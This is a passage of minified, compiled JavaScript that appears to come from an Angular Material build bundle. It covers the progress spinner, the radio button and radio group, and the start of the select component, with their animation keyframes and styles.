0.733712);transform:scaleX(0.457104)}44.15%{animation-timing-function:cubic-bezier(0.4, 0.627035, 0.6, 0.902026);transform:scaleX(0.72796)}100%{transform:scaleX(0.08)}}@keyframes mat-progress-bar-background-scroll{to{transform:translateX(-8px)}}\'],encapsulation:2,changeDetection:0}),Q})();function U(Q,oe=0,Ce=100){return Math.max(oe,Math.min(Ce,Q))}let G=(()=>{class Q{}return Q.\\u0275fac=function(Ce){return new(Ce||Q)},Q.\\u0275mod=n.oAB({type:Q}),Q.\\u0275inj=n.cJS({imports:[a.ez,s.BQ,s.BQ]}),Q})()},1572:(At,ae,d)=>{"use strict";d.d(ae,{Cq:()=>Q,Ou:()=>G});var n=d(1281),a=d(3353),s=d(7261),u=d(6895),c=d(4650),f=d(3238),E=d(2654);function _(Ce,k){if(1&Ce&&(c.O4$(),c._UZ(0,"circle",4)),2&Ce){const K=c.oxw(),se=c.MAs(1);c.Udp("animation-name","mat-progress-spinner-stroke-rotate-"+K._spinnerAnimationLabel)("stroke-dashoffset",K._getStrokeDashOffset(),"px")("stroke-dasharray",K._getStrokeCircumference(),"px")("stroke-width",K._getCircleStrokeWidth(),"%")("transform-origin",K._getCircleTransformOrigin(se)),c.uIk("r",K._getCircleRadius())}}function S(Ce,k){if(1&Ce&&(c.O4$(),c._UZ(0,"circle",4)),2&Ce){const K=c.oxw(),se=c.MAs(1);c.Udp("stroke-dashoffset",K._getStrokeDashOffset(),"px")("stroke-dasharray",K._getStrokeCircumference(),"px")("stroke-width",K._getCircleStrokeWidth(),"%")("transform-origin",K._getCircleTransformOrigin(se)),c.uIk("r",K._getCircleRadius())}}const z=(0,f.pj)(class{constructor(Ce){this._elementRef=Ce}},"primary"),H=new c.OlP("mat-progress-spinner-default-options",{providedIn:"root",factory:function j(){return{diameter:100}}});class G extends z{constructor(k,K,se,ee,q,we,ce,je){super(k),this._document=se,this._diameter=100,this._value=0,this._resizeSubscription=E.w.EMPTY,this.mode="determinate";const Ze=G._diameters;this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),Ze.has(se.head)||Ze.set(se.head,new Set([100])),this._noopAnimations="NoopAnimations"===ee&&!!q&&!q._forceAnimations,"mat-spinner"===k.nativeElement.nodeName.toLowerCase()&&(this.mode="indeterminate"),q&&(q.color&&(this.color=this.defaultColor=q.color),q.diameter&&(this.diameter=q.diameter),q.strokeWidth&&(this.strokeWidth=q.strokeWidth)),K.isBrowser&&K.SAFARI&&ce&&we&&je&&(this._resizeSubscription=ce.change(150).subscribe(()=>{"indeterminate"===this.mode&&je.run(()=>we.markForCheck())}))}get diameter(){return this._diameter}set diameter(k){this._diameter=(0,n.su)(k),this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),this._styleRoot&&this._attachStyleNode()}get strokeWidth(){return this._strokeWidth||this.diameter/10}set strokeWidth(k){this._strokeWidth=(0,n.su)(k)}get value(){return"determinate"===this.mode?this._value:0}set value(k){this._value=Math.max(0,Math.min(100,(0,n.su)(k)))}ngOnInit(){const k=this._elementRef.nativeElement;this._styleRoot=(0,a.kV)(k)||this._document.head,this._attachStyleNode(),k.classList.add("mat-progress-spinner-indeterminate-animation")}ngOnDestroy(){this._resizeSubscription.unsubscribe()}_getCircleRadius(){return(this.diameter-10)/2}_getViewBox(){const k=2*this._getCircleRadius()+this.strokeWidth;return`0 0 ${k} ${k}`}_getStrokeCircumference(){return 2*Math.PI*this._getCircleRadius()}_getStrokeDashOffset(){return"determinate"===this.mode?this._getStrokeCircumference()*(100-this._value)/100:null}_getCircleStrokeWidth(){return this.strokeWidth/this.diameter*100}_getCircleTransformOrigin(k){const K=50*(k.currentScale??1);return`${K}% ${K}%`}_attachStyleNode(){const k=this._styleRoot,K=this._diameter,se=G._diameters;let ee=se.get(k);if(!ee||!ee.has(K)){const q=this._document.createElement("style");q.setAttribute("mat-spinner-animation",this._spinnerAnimationLabel),q.textContent=this._getAnimationText(),k.appendChild(q),ee||(ee=new Set,se.set(k,ee)),ee.add(K)}}_getAnimationText(){const k=this._getStrokeCircumference();return"\\n @keyframes mat-progress-spinner-stroke-rotate-DIAMETER {\\n 0% { stroke-dashoffset: START_VALUE; transform: rotate(0); }\\n 12.5% { stroke-dashoffset: END_VALUE; transform: rotate(0); }\\n 12.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\\n 25% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\\n\\n 25.0001% { stroke-dashoffset: START_VALUE; transform: rotate(270deg); }\\n 37.5% { stroke-dashoffset: END_VALUE; transform: rotate(270deg); }\\n 37.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\\n 50% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\\n\\n 50.0001% { stroke-dashoffset: START_VALUE; transform: rotate(180deg); }\\n 62.5% { stroke-dashoffset: END_VALUE; transform: rotate(180deg); }\\n 62.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\\n 75% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\\n\\n 75.0001% { stroke-dashoffset: START_VALUE; transform: rotate(90deg); }\\n 87.5% { stroke-dashoffset: END_VALUE; transform: rotate(90deg); }\\n 87.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\\n 100% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\\n }\\n".replace(/START_VALUE/g,""+.95*k).replace(/END_VALUE/g,""+.2*k).replace(/DIAMETER/g,`${this._spinnerAnimationLabel}`)}_getSpinnerAnimationLabel(){return this.diameter.toString().replace(".","_")}}G._diameters=new WeakMap,G.\\u0275fac=function(k){return new(k||G)(c.Y36(c.SBq),c.Y36(a.t4),c.Y36(u.K0,8),c.Y36(c.QbO,8),c.Y36(H),c.Y36(c.sBO),c.Y36(s.rL),c.Y36(c.R0b))},G.\\u0275cmp=c.Xpm({type:G,selectors:[["mat-progress-spinner"],["mat-spinner"]],hostAttrs:["role","progressbar","tabindex","-1",1,"mat-progress-spinner","mat-spinner"],hostVars:10,hostBindings:function(k,K){2&k&&(c.uIk("aria-valuemin","determinate"===K.mode?0:null)("aria-valuemax","determinate"===K.mode?100:null)("aria-valuenow","determinate"===K.mode?K.value:null)("mode",K.mode),c.Udp("width",K.diameter,"px")("height",K.diameter,"px"),c.ekj("_mat-animation-noopable",K._noopAnimations))},inputs:{color:"color",diameter:"diameter",strokeWidth:"strokeWidth",mode:"mode",value:"value"},exportAs:["matProgressSpinner"],features:[c.qOj],decls:4,vars:8,consts:[["preserveAspectRatio","xMidYMid meet","focusable","false","aria-hidden","true",3,"ngSwitch"],["svg",""],["cx","50%","cy","50%",3,"animation-name","stroke-dashoffset","stroke-dasharray","stroke-width","transform-origin",4,"ngSwitchCase"],["cx","50%","cy","50%",3,"stroke-dashoffset","stroke-dasharray","stroke-width","transform-origin",4,"ngSwitchCase"],["cx","50%","cy","50%"]],template:function(k,K){1&k&&(c.O4$(),c.TgZ(0,"svg",0,1),c.YNc(2,_,1,11,"circle",2),c.YNc(3,S,1,9,"circle",3),c.qZA()),2&k&&(c.Udp("width",K.diameter,"px")("height",K.diameter,"px"),c.Q6J("ngSwitch","indeterminate"===K.mode),c.uIk("viewBox",K._getViewBox()),c.xp6(2),c.Q6J("ngSwitchCase",!0),c.xp6(1),c.Q6J("ngSwitchCase",!1))},dependencies:[u.RF,u.n9],styles:[".mat-progress-spinner{display:block;position:relative;overflow:hidden}.mat-progress-spinner svg{position:absolute;transform:rotate(-90deg);top:0;left:0;transform-origin:center;overflow:visible}.mat-progress-spinner circle{fill:rgba(0,0,0,0);transition:stroke-dashoffset 225ms linear}.cdk-high-contrast-active .mat-progress-spinner circle{stroke:CanvasText}.mat-progress-spinner[mode=indeterminate] svg{animation:mat-progress-spinner-linear-rotate 2000ms linear infinite}.mat-progress-spinner[mode=indeterminate] circle{transition-property:stroke;animation-duration:4000ms;animation-timing-function:cubic-bezier(0.35, 0, 0.25, 1);animation-iteration-count:infinite}.mat-progress-spinner._mat-animation-noopable svg,.mat-progress-spinner._mat-animation-noopable circle{animation:none;transition:none}@keyframes mat-progress-spinner-linear-rotate{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes mat-progress-spinner-stroke-rotate-100{0%{stroke-dashoffset:268.606171575px;transform:rotate(0)}12.5%{stroke-dashoffset:56.5486677px;transform:rotate(0)}12.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(72.5deg)}25%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(72.5deg)}25.0001%{stroke-dashoffset:268.606171575px;transform:rotate(270deg)}37.5%{stroke-dashoffset:56.5486677px;transform:rotate(270deg)}37.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(161.5deg)}50%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(161.5deg)}50.0001%{stroke-dashoffset:268.606171575px;transform:rotate(180deg)}62.5%{stroke-dashoffset:56.5486677px;transform:rotate(180deg)}62.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(251.5deg)}75%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(251.5deg)}75.0001%{stroke-dashoffset:268.606171575px;transform:rotate(90deg)}87.5%{stroke-dashoffset:56.5486677px;transform:rotate(90deg)}87.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(341.5deg)}100%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(341.5deg)}}"],encapsulation:2,changeDetection:0});let Q=(()=>{class Ce{}return Ce.\\u0275fac=function(K){return new(K||Ce)},Ce.\\u0275mod=c.oAB({type:Ce}),Ce.\\u0275inj=c.cJS({imports:[f.BQ,u.ez,f.BQ]}),Ce})()},1948:(At,ae,d)=>{"use strict";d.d(ae,{Fk:()=>se,U0:()=>K,VQ:()=>Q});var n=d(4650),a=d(3238),s=d(2687),u=d(1281),c=d(5017),f=d(4006);const E=["input"],_=function(ee){return{enterDuration:ee}},S=["*"],g=new n.OlP("mat-radio-default-options",{providedIn:"root",factory:function C(){return{color:"accent"}}});let z=0;const H={provide:f.JU,useExisting:(0,n.Gpc)(()=>Q),multi:!0};class j{constructor(q,we){this.source=q,this.value=we}}const U=new n.OlP("MatRadioGroup");let G=(()=>{class ee{constructor(we){this._changeDetector=we,this._value=null,this._name="mat-radio-group-"+z++,this._selected=null,this._isInitialized=!1,this._labelPosition="after",this._disabled=!1,this._required=!1,this._controlValueAccessorChangeFn=()=>{},this.onTouched=()=>{},this.change=new n.vpe}get name(){return this._name}set name(we){this._name=we,this._updateRadioButtonNames()}get labelPosition(){return this._labelPosition}set labelPosition(we){this._labelPosition="before"===we?"before":"after",this._markRadiosForCheck()}get value(){return this._value}set value(we){this._value!==we&&(this._value=we,this._updateSelectedRadioFromValue(),this._checkSelectedRadioButton())}_checkSelectedRadioButton(){this._selected&&!this._selected.checked&&(this._selected.checked=!0)}get selected(){return this._selected}set selected(we){this._selected=we,this.value=we?we.value:null,this._checkSelectedRadioButton()}get disabled(){return this._disabled}set disabled(we){this._disabled=(0,u.Ig)(we),this._markRadiosForCheck()}get required(){return this._required}set required(we){this._required=(0,u.Ig)(we),this._markRadiosForCheck()}ngAfterContentInit(){this._isInitialized=!0}_touch(){this.onTouched&&this.onTouched()}_updateRadioButtonNames(){this._radios&&this._radios.forEach(we=>{we.name=this.name,we._markForCheck()})}_updateSelectedRadioFromValue(){this._radios&&(null===this._selected||this._selected.value!==this._value)&&(this._selected=null,this._radios.forEach(ce=>{ce.checked=this.value===ce.value,ce.checked&&(this._selected=ce)}))}_emitChangeEvent(){this._isInitialized&&this.change.emit(new j(this._selected,this._value))}_markRadiosForCheck(){this._radios&&this._radios.forEach(we=>we._markForCheck())}writeValue(we){this.value=we,this._changeDetector.markForCheck()}registerOnChange(we){this._controlValueAccessorChangeFn=we}registerOnTouched(we){this.onTouched=we}setDisabledState(we){this.disabled=we,this._changeDetector.markForCheck()}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n.sBO))},ee.\\u0275dir=n.lG2({type:ee,inputs:{color:"color",name:"name",labelPosition:"labelPosition",value:"value",selected:"selected",disabled:"disabled",required:"required"},outputs:{change:"change"}}),ee})(),Q=(()=>{class ee extends G{}return ee.\\u0275fac=function(){let q;return function(ce){return(q||(q=n.n5z(ee)))(ce||ee)}}(),ee.\\u0275dir=n.lG2({type:ee,selectors:[["mat-radio-group"]],contentQueries:function(we,ce,je){if(1&we&&n.Suo(je,K,5),2&we){let Ze;n.iGM(Ze=n.CRH())&&(ce._radios=Ze)}},hostAttrs:["role","radiogroup",1,"mat-radio-group"],exportAs:["matRadioGroup"],features:[n._Bn([H,{provide:U,useExisting:ee}]),n.qOj]}),ee})();class oe{constructor(q){this._elementRef=q}}const Ce=(0,a.Kr)((0,a.sb)(oe));let k=(()=>{class ee extends Ce{constructor(we,ce,je,Ze,le,Oe,Qe,Ye){super(ce),this._changeDetector=je,this._focusMonitor=Ze,this._radioDispatcher=le,this._providerOverride=Qe,this._uniqueId="mat-radio-"+ ++z,this.id=this._uniqueId,this.change=new n.vpe,this._checked=!1,this._value=null,this._removeUniqueSelectionListener=()=>{},this.radioGroup=we,this._noopAnimations="NoopAnimations"===Oe,Ye&&(this.tabIndex=(0,u.su)(Ye,0)),this._removeUniqueSelectionListener=le.listen((qe,Ke)=>{qe!==this.id&&Ke===this.name&&(this.checked=!1)})}get checked(){return this._checked}set checked(we){const ce=(0,u.Ig)(we);this._checked!==ce&&(this._checked=ce,ce&&this.radioGroup&&this.radioGroup.value!==this.value?this.radioGroup.selected=this:!ce&&this.radioGroup&&this.radioGroup.value===this.value&&(this.radioGroup.selected=null),ce&&this._radioDispatcher.notify(this.id,this.name),this._changeDetector.markForCheck())}get value(){return this._value}set value(we){this._value!==we&&(this._value=we,null!==this.radioGroup&&(this.checked||(this.checked=this.radioGroup.value===we),this.checked&&(this.radioGroup.selected=this)))}get labelPosition(){return this._labelPosition||this.radioGroup&&this.radioGroup.labelPosition||"after"}set labelPosition(we){this._labelPosition=we}get disabled(){return this._disabled||null!==this.radioGroup&&this.radioGroup.disabled}set disabled(we){this._setDisabled((0,u.Ig)(we))}get required(){return this._required||this.radioGroup&&this.radioGroup.required}set required(we){this._required=(0,u.Ig)(we)}get color(){return this._color||this.radioGroup&&this.radioGroup.color||this._providerOverride&&this._providerOverride.color||"accent"}set color(we){this._color=we}get inputId(){return`${this.id||this._uniqueId}-input`}focus(we,ce){ce?this._focusMonitor.focusVia(this._inputElement,ce,we):this._inputElement.nativeElement.focus(we)}_markForCheck(){this._changeDetector.markForCheck()}ngOnInit(){this.radioGroup&&(this.checked=this.radioGroup.value===this._value,this.checked&&(this.radioGroup.selected=this),this.name=this.radioGroup.name)}ngDoCheck(){this._updateTabIndex()}ngAfterViewInit(){this._updateTabIndex(),this._focusMonitor.monitor(this._elementRef,!0).subscribe(we=>{!we&&this.radioGroup&&this.radioGroup._touch()})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._removeUniqueSelectionListener()}_emitChangeEvent(){this.change.emit(new j(this,this._value))}_isRippleDisabled(){return this.disableRipple||this.disabled}_onInputClick(we){we.stopPropagation()}_onInputInteraction(we){if(we.stopPropagation(),!this.checked&&!this.disabled){const ce=this.radioGroup&&this.value!==this.radioGroup.value;this.checked=!0,this._emitChangeEvent(),this.radioGroup&&(this.radioGroup._controlValueAccessorChangeFn(this.value),ce&&this.radioGroup._emitChangeEvent())}}_setDisabled(we){this._disabled!==we&&(this._disabled=we,this._changeDetector.markForCheck())}_updateTabIndex(){const we=this.radioGroup;let ce;if(ce=we&&we.selected&&!this.disabled?we.selected===this?this.tabIndex:-1:this.tabIndex,ce!==this._previousTabIndex){const je=this._inputElement?.nativeElement;je&&(je.setAttribute("tabindex",ce+""),this._previousTabIndex=ce)}}}return ee.\\u0275fac=function(we){n.$Z()},ee.\\u0275dir=n.lG2({type:ee,viewQuery:function(we,ce){if(1&we&&n.Gf(E,5),2&we){let je;n.iGM(je=n.CRH())&&(ce._inputElement=je.first)}},inputs:{id:"id",name:"name",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],checked:"checked",value:"value",labelPosition:"labelPosition",disabled:"disabled",required:"required",color:"color"},outputs:{change:"change"},features:[n.qOj]}),ee})(),K=(()=>{class ee extends k{constructor(we,ce,je,Ze,le,Oe,Qe,Ye){super(we,ce,je,Ze,le,Oe,Qe,Ye)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(U,8),n.Y36(n.SBq),n.Y36(n.sBO),n.Y36(s.tE),n.Y36(c.A8),n.Y36(n.QbO,8),n.Y36(g,8),n.$8M("tabindex"))},ee.\\u0275cmp=n.Xpm({type:ee,selectors:[["mat-radio-button"]],hostAttrs:[1,"mat-radio-button"],hostVars:17,hostBindings:function(we,ce){1&we&&n.NdJ("focus",function(){return ce._inputElement.nativeElement.focus()}),2&we&&(n.uIk("tabindex",null)("id",ce.id)("aria-label",null)("aria-labelledby",null)("aria-describedby",null),n.ekj("mat-radio-checked",ce.checked)("mat-radio-disabled",ce.disabled)("_mat-animation-noopable",ce._noopAnimations)("mat-primary","primary"===ce.color)("mat-accent","accent"===ce.color)("mat-warn","warn"===ce.color))},inputs:{disableRipple:"disableRipple",tabIndex:"tabIndex"},exportAs:["matRadioButton"],features:[n.qOj],ngContentSelectors:S,decls:13,vars:19,consts:[[1,"mat-radio-label"],["label",""],[1,"mat-radio-container"],[1,"mat-radio-outer-circle"],[1,"mat-radio-inner-circle"],["type","radio",1,"mat-radio-input",3,"id","checked","disabled","required","change","click"],["input",""],["mat-ripple","",1,"mat-radio-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-radio-persistent-ripple"],[1,"mat-radio-label-content"],[2,"display","none"]],template:function(we,ce){if(1&we&&(n.F$t(),n.TgZ(0,"label",0,1)(2,"span",2),n._UZ(3,"span",3)(4,"span",4),n.TgZ(5,"input",5,6),n.NdJ("change",function(Ze){return ce._onInputInteraction(Ze)})("click",function(Ze){return ce._onInputClick(Ze)}),n.qZA(),n.TgZ(7,"span",7),n._UZ(8,"span",8),n.qZA()(),n.TgZ(9,"span",9)(10,"span",10),n._uU(11,"\\xa0"),n.qZA(),n.Hsn(12),n.qZA()()),2&we){const je=n.MAs(1);n.uIk("for",ce.inputId),n.xp6(5),n.Q6J("id",ce.inputId)("checked",ce.checked)("disabled",ce.disabled)("required",ce.required),n.uIk("name",ce.name)("value",ce.value)("aria-label",ce.ariaLabel)("aria-labelledby",ce.ariaLabelledby)("aria-describedby",ce.ariaDescribedby),n.xp6(2),n.Q6J("matRippleTrigger",je)("matRippleDisabled",ce._isRippleDisabled())("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",n.VKq(17,_,ce._noopAnimations?0:150)),n.xp6(2),n.ekj("mat-radio-label-before","before"==ce.labelPosition)}},dependencies:[a.wG],styles:[\'.mat-radio-button{display:inline-block;-webkit-tap-highlight-color:rgba(0,0,0,0);outline:0}.mat-radio-label{-webkit-user-select:none;user-select:none;cursor:pointer;display:inline-flex;align-items:center;white-space:nowrap;vertical-align:middle;width:100%}.mat-radio-container{box-sizing:border-box;display:inline-block;position:relative;width:20px;height:20px;flex-shrink:0}.mat-radio-outer-circle{box-sizing:border-box;display:block;height:20px;left:0;position:absolute;top:0;transition:border-color ease 280ms;width:20px;border-width:2px;border-style:solid;border-radius:50%}._mat-animation-noopable .mat-radio-outer-circle{transition:none}.mat-radio-inner-circle{border-radius:50%;box-sizing:border-box;display:block;height:20px;left:0;position:absolute;top:0;opacity:0;transition:transform ease 280ms,background-color ease 280ms,opacity linear 1ms 280ms;width:20px;transform:scale(0.001);-webkit-print-color-adjust:exact;color-adjust:exact}.mat-radio-checked .mat-radio-inner-circle{transform:scale(0.5);opacity:1;transition:transform ease 280ms,background-color ease 280ms}.cdk-high-contrast-active .mat-radio-checked .mat-radio-inner-circle{border:solid 10px}._mat-animation-noopable .mat-radio-inner-circle{transition:none}.mat-radio-label-content{-webkit-user-select:auto;user-select:auto;display:inline-block;order:0;line-height:inherit;padding-left:8px;padding-right:0}[dir=rtl] .mat-radio-label-content{padding-right:8px;padding-left:0}.mat-radio-label-content.mat-radio-label-before{order:-1;padding-left:0;padding-right:8px}[dir=rtl] .mat-radio-label-content.mat-radio-label-before{padding-right:0;padding-left:8px}.mat-radio-disabled,.mat-radio-disabled .mat-radio-label{cursor:default}.mat-radio-button .mat-radio-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-radio-button .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple){opacity:.16}.mat-radio-persistent-ripple{width:100%;height:100%;transform:none;top:0;left:0}.mat-radio-container:hover .mat-radio-persistent-ripple{opacity:.04}.mat-radio-button:not(.mat-radio-disabled).cdk-keyboard-focused .mat-radio-persistent-ripple,.mat-radio-button:not(.mat-radio-disabled).cdk-program-focused .mat-radio-persistent-ripple{opacity:.12}.mat-radio-persistent-ripple,.mat-radio-disabled .mat-radio-container:hover .mat-radio-persistent-ripple{opacity:0}@media(hover: none){.mat-radio-container:hover .mat-radio-persistent-ripple{display:none}}.mat-radio-input{opacity:0;position:absolute;top:0;left:0;margin:0;width:100%;height:100%;cursor:inherit;z-index:-1}.mat-radio-input:focus~.mat-focus-indicator::before{content:""}.cdk-high-contrast-active .mat-radio-disabled{opacity:.5}\'],encapsulation:2,changeDetection:0}),ee})(),se=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({imports:[a.si,a.BQ,a.BQ]}),ee})()},4385:(At,ae,d)=>{"use strict";d.d(ae,{$L:()=>Je,LD:()=>Pt,gD:()=>Dt});var n=d(8184),a=d(6895),s=d(4650),u=d(3238),c=d(9549),f=d(7261),E=d(2687),_=d(445),S=d(1281),g=d(5017),C=d(9521),z=d(4006),H=d(8929),j=d(8514),U=d(6787),G=d(1059),Q=d(7545),oe=d(2986),Ce=d(2198),k=d(4850),K=d(5778),se=d(7625),ee=d(7340);const q=["trigger"],we=["panel"];function ce(Ie,te){if(1&Ie&&(s.TgZ(0,"span",8),s._uU(1),s.qZA()),2&Ie){const x=s.oxw();s.xp6(1),s.Oqu(x.placeholder)}}function je(Ie,te){if(1&Ie&&(s.TgZ(0,"span",12),s._uU(1),s.qZA()),2&Ie){const x=s.oxw(2);s.xp6(1),s.Oqu(x.triggerValue)}}function Ze(Ie,te){1&Ie&&s.Hsn(0,0,["*ngSwitchCase","true"])}function le(Ie,te){if(1&Ie&&(s.TgZ(0,"span",9),s.YNc(1,je,2,1,"span",10),s.YNc(2,Ze,1,0,"ng-content",11),s.qZA()),2&Ie){const x=s.oxw();s.Q6J("ngSwitch",!!x.customTrigger),s.xp6(2),s.Q6J("ngSwitchCase",!0)}}function Oe(Ie,te){if(1&Ie){const x=s.EpF();s.TgZ(0,"div",13)(1,"div",14,15),s.NdJ("@transformPanel.done",function(b){s.CHM(x);const B=s.oxw();return s.KtG(B._panelDoneAnimatingStream.next(b.toState))})("keydown",function(b){s.CHM(x);const B=s.oxw();return s.KtG(B._handleKeydown(b))}),s.Hsn(3,1),s.qZA()()}if(2&Ie){const x=s.oxw();s.Q6J("@transformPanelWrap",void 0),s.xp6(1),s.Gre("mat-select-panel ",x._getPanelTheme(),""),s.Udp("transform-origin",x._transformOrigin)("font-size",x._triggerFontSize,"px"),s.Q6J("ngClass",x.panelClass)("@transformPanel",x.multiple?"showing-multiple":"showing"),s.uIk("id",x.id+"-panel")("aria-multiselectable",x.multiple)("aria-label",x.ariaLabel||null)("aria-labelledby",x._getPanelAriaLabelledby())}}const Qe=[[["mat-select-trigger"]],"*"],Ye=["mat-select-trigger","*"],qe={transformPanelWrap:(0,ee.X$)("transformPanelWrap",[(0,ee.eR)("* => void",(0,ee.IO)("@transformPanel",[(0,ee.pV)()],{optional:!0}))]),transformPanel:(0,ee.X$)("transformPanel",[(0,ee.SB)("void",(0,ee.oB)({transform:"scaleY(0.8)",minWidth:"100%",opacity:0})),(0,ee.SB)("showing",(0,ee.oB)({opacity:1,minWidth:"calc(100% + 32px)",transform:"scaleY(1)"})),(0,ee.SB)("showing-multiple",(0,ee.oB)({opacity:1,minWidth:"calc(100% + 64px)",transform:"scaleY(1)"})),(0,ee.eR)("void => *",(0,ee.jt)("120ms cubic-bezier(0, 0, 0.2, 1)")),(0,ee.eR)("* => void",(0,ee.jt)("100ms 25ms linear",(0,ee.oB)({opacity:0})))])};let ze=0;const pe=new s.OlP("mat-select-scroll-strategy"),w=new s.OlP("MAT_SELECT_CONFIG"),R={provide:pe,deps:[n.aV],useFactory:function P(Ie){return()=>Ie.scrollStrategies.reposition()}};class X{constructor(te,x){this.source=te,this.value=x}}const _e=(0,u.Kr)((0,u.sb)((0,u.Id)((0,u.FD)(class{constructor(Ie,te,x,m,b){this._elementRef=Ie,this._defaultErrorStateMatcher=te,this._parentForm=x,this._parentFormGroup=m,this.ngControl=b,this.stateChanges=new H.xQ}})))),ct=new s.OlP("MatSelectTrigger");let Je=(()=>{class Ie{}return Ie.\\u0275fac=function(x){return new(x||Ie)},Ie.\\u0275dir=s.lG2({type:Ie,selectors:[["mat-select-trigger"]],features:[s._Bn([{provide:ct,useExisting:Ie}])]}),Ie})(),Et=(()=>{class Ie extends _e{constructor(x,m,b,B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1,It){super(ie,B,it,wt,Gt),this._viewportRuler=x,this._changeDetectorRef=m,this._ngZone=b,this._dir=Xe,this._parentFormField=Vt,this._liveAnnouncer=c1,this._defaultOptions=It,this._panelOpen=!1,this._compareWith=(_t,kt)=>_t===kt,this._uid="mat-select-"+ze++,this._triggerAriaLabelledBy=null,this._destroy=new H.xQ,this._onChange=()=>{},this._onTouched=()=>{},this._valueId="mat-select-value-"+ze++,this._panelDoneAnimatingStream=new H.xQ,this._overlayPanelClass=this._defaultOptions?.overlayPanelClass||"",this._focused=!1,this.controlType="mat-select",this._multiple=!1,this._disableOptionCentering=this._defaultOptions?.disableOptionCentering??!1,this.ariaLabel="",this.optionSelectionChanges=(0,j.P)(()=>{const _t=this.options;return _t?_t.changes.pipe((0,G.O)(_t),(0,Q.w)(()=>(0,U.T)(..._t.map(kt=>kt.onSelectionChange)))):this._ngZone.onStable.pipe((0,oe.q)(1),(0,Q.w)(()=>this.optionSelectionChanges))}),this.openedChange=new s.vpe,this._openedStream=this.openedChange.pipe((0,Ce.h)(_t=>_t),(0,k.U)(()=>{})),this._closedStream=this.openedChange.pipe((0,Ce.h)(_t=>!_t),(0,k.U)(()=>{})),this.selectionChange=new s.vpe,this.valueChange=new s.vpe,this.ngControl&&(this.ngControl.valueAccessor=this),null!=It?.typeaheadDebounceInterval&&(this._typeaheadDebounceInterval=It.typeaheadDebounceInterval),this._scrollStrategyFactory=u1,this._scrollStrategy=this._scrollStrategyFactory(),this.tabIndex=parseInt(qt)||0,this.id=this.id}get focused(){return this._focused||this._panelOpen}get placeholder(){return this._placeholder}set placeholder(x){this._placeholder=x,this.stateChanges.next()}get required(){return this._required??this.ngControl?.control?.hasValidator(z.kI.required)??!1}set required(x){this._required=(0,S.Ig)(x),this.stateChanges.next()}get multiple(){return this._multiple}set multiple(x){this._multiple=(0,S.Ig)(x)}get disableOptionCentering(){return this._disableOptionCentering}set disableOptionCentering(x){this._disableOptionCentering=(0,S.Ig)(x)}get compareWith(){return this._compareWith}set compareWith(x){this._compareWith=x,this._selectionModel&&this._initializeSelection()}get value(){return this._value}set value(x){this._assignValue(x)&&this._onChange(x)}get typeaheadDebounceInterval(){return this._typeaheadDebounceInterval}set typeaheadDebounceInterval(x){this._typeaheadDebounceInterval=(0,S.su)(x)}get id(){return this._id}set id(x){this._id=x||this._uid,this.stateChanges.next()}ngOnInit(){this._selectionModel=new g.Ov(this.multiple),this.stateChanges.next(),this._panelDoneAnimatingStream.pipe((0,K.x)(),(0,se.R)(this._destroy)).subscribe(()=>this._panelDoneAnimating(this.panelOpen))}ngAfterContentInit(){this._initKeyManager(),this._selectionModel.changed.pipe((0,se.R)(this._destroy)).subscribe(x=>{x.added.forEach(m=>m.select()),x.removed.forEach(m=>m.deselect())}),this.options.changes.pipe((0,G.O)(null),(0,se.R)(this._destroy)).subscribe(()=>{this._resetOptions(),this._initializeSelection()})}ngDoCheck(){const x=this._getTriggerAriaLabelledby(),m=this.ngControl;if(x!==this._triggerAriaLabelledBy){const b=this._elementRef.nativeElement;this._triggerAriaLabelledBy=x,x?b.setAttribute("aria-labelledby",x):b.removeAttribute("aria-labelledby")}m&&(this._previousControl!==m.control&&(void 